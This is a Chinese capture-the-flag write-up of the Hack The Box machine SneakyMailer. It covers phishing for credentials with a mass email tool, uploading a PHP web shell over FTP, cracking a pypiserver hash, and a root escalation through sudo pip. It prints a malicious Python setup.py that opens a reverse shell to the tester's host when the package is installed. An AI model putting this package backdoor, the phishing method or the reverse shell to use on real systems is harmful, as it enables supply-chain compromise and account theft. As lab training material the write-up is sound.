Hack The Box——SneakyMailer

目录

简介

信息收集

子域名枚举

邮件钓鱼

上传WebShell

权限提升

Developer用户Shell

Low用户Shell

Root用户Shell

总结


简介

这是一台很有意思的靶机,比较像真实的环境,没有什么通用的漏洞,只是展现了人们在日常生活中容易犯的错误,靶机作者大概想告诉我们人性的弱点吧。首先通过网页收集到的邮件地址进行邮件钓鱼攻击,然后利用获得的邮箱密码登录邮箱查看邮件,在邮件中发现开发者用户名和密码,然后使用该密码登录FTP服务并上传木马到网站,从而获得网站服务权限。在网站目录中发现pypiserver用户pypi的凭据,使用字典破解后利用该用户名和密码部署包含木马的python模块包,当用户low下载并安装该模块包时获得用户low的shell,最后利用服务器程序权限滥用成功提升至root权限。

信息收集

使用nmap快速扫描目标主机端口和服务信息,发现开启21(vsftpd 3.0.3),22(OpenSSH 7.9p1),25(Postfix smtpd),80(nginx 1.14.2),143(Courier Imapd),993(Courier SSL Imapd),8080(nginx 1.14.2)端口,且操作系统为Debian 10,如图:

80端口的http-title显示不允许重定向到http://sneakycorp.htb,因此将该域名添加到hosts文件,再次访问,如图:

查看网页源码,发现提示需要添加注册链接到侧边栏,如图:

打开注册页面,如图:

输入信息注册账户,提交之后页面没有变化,然后连接smtp服务验证发现邮箱不存在,如图:

访问8080端口只显示nginx默认页,查看左侧team栏发现许多电子邮件地址,如图:

然后将邮箱地址提取到本地,如图:

子域名枚举

将邮箱域名sneakymailer.htb添加到/etc/hosts文件,访问发现页面跳转到sneakycorp.htb,访问8080端口仍然是nginx默认页,然后刷新页面,拦截数据包,修改Host头重放发现页面返回301并重定向到sneakycorp.htb,如图:

说明所有不存在的域名可能都是301代码,使用wfuzz枚举子域名,如图:

然后将dev.sneakycorp.htb添加到hosts文件并访问,左侧多了注册栏,如图:

尝试注册仍然失败,访问8080端口,仍然是nginx默认页。尝试暴力破解邮箱密码未成功,然后尝试发送邮件成功,如图:

邮件钓鱼

然后尝试使用社工工具setools发送带链接的邮件。在本地开启80端口监听,然后启动setools,选择群发邮件攻击,如图:

然后选择群发,如图:

接着配置收件人邮箱地址、发件人邮箱地址、邮件发送服务器、钓鱼邮件内容等信息,如图:

配置结束后自动发送邮件。等待一段时间后80端口成功监听到POST请确,如图:

将数据经过URL解码后如下:

firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

数据中包含邮箱地址和密码,但无法使用该用户名和密码登录FTP和SSH。目标主机没有web邮箱客户端,kali也没自带邮件客户端,推荐使用Thunderbird和Evolution,因此我这里安装了Evolution,在接收中勾选“将远程邮件同步到本地”,如图:

收件箱没有邮件,但在Sent Items中第一封邮件中发现用户名和密码,如图:

第二封邮件告诉low需要安装、测试并删除所有的python模块,如图:

上传WebShell

使用developer的密码无法登录SSH,但是可以登录FTP,如图:

查看文件发现是网站目录文件,应该是dev.sneakycorp.htb网站的目录,如图:

使用PUT命令上传PHP木马,如图:

在本地开启监听,尝试访问http://dev.sneakycorp.htb/reverse.php,如图:

成功获得WebShell,且内核版本为4.19.0。需要注意的是文件不到一分钟就被删除了,所以一定要快。

权限提升

查看/etc/passwd文件发现普通用户low和developer,如图:

Developer用户Shell

尝试使用获取的密码登录到developer用户shell(当前shell不能访问tty,所以需要切换到能访问tty的shell),如图:

在/home目录下未发现developer目录,在low目录中发现user.txt,但是没有权限读取,如图:

尝试使用CVE-2019-13272提权不成功。然后查看网站目录,在/var/www/html下只有默认页,在/var/www下发现pypi.sneakycorp.htb,如图:

查看目录下的文件发现.htpasswd文件中有一个hash值,pachages目录没有权限读取,venv目录和/home/venv目录一样,如图:

使用john破解得到密码,如图:

将pypi.sneakycorp.htb添加到hosts文件,访问发现跳转到了sneakycorp.htb,访问8080端口却不再是nginx默认页,而是pypiserver页面,如图:

点击here查看已上传的模块包,如图:

然后输入破解得到的用户名和密码成功登录,但没有一个模块包,如图:

使用提权辅助脚本lse.sh发现其他用户的邮件,如图:

但是都重定向到了/dev/null,如图:

Low用户Shell

此时回想起第二封邮件告诉low要安装、测试并删除python模块包,这说明我们可以上传一个带有木马的python模块包,当用户low安装测试的时候我们就获得用户low的shell了。查看pypiserver官方文档发现必须具有两个文件——.pypirc和setup.py。根据文档格式构造.pypirc文件内容如下:

[distutils]
index-servers=local

[local]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui

setup.py文件内容如下:

import setuptools
import os
os.system("echo 'bash -i >&/dev/tcp/10.10.14.33/8443 0>&1' | /bin/bash")

setuptools.setup(
        name='test',
        version='1.0',
        author='nhpt',
        license='MIT',
)

然后执行上传命令:python3 setup.py sdist register -r local upload -r local,如图:

上传成功后可在模块包目录查看到,如图:

然后立即在本地开启监听,几秒后再次刷新页面发现文件已被删除,成功获得用户low反弹回的shell,如图:

需要注意的是,一定要在上传模块包后再开启监听,且需要在文件被删除之前。因为在上传的时候本机也会执行代码,所以先于上传开启监听会得到自己本地的shell,而用户low测试完毕就会删除文件,所以也不能太晚。

Root用户Shell

直接使用lse.sh提权辅助程序枚举,发现不需要密码的sudo命令,如图:

这里找到了pip的提权方法,直接使用该命令提权发现不成功,切换到python伪终端提权成功,如图:

总结

该靶机涉及的知识比较多,对于没有发布过python模块的人来说,从developer用户的shell移动到low用户的shell需要花些时间。想象靶机面前正坐着一个人会使渗透更有趣,攻破目标主机不仅可以通过机器自身的脆弱性,还可以从人性的弱点入手。做完靶机赶紧看了看自己安装的模块有没有包含木马代码。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值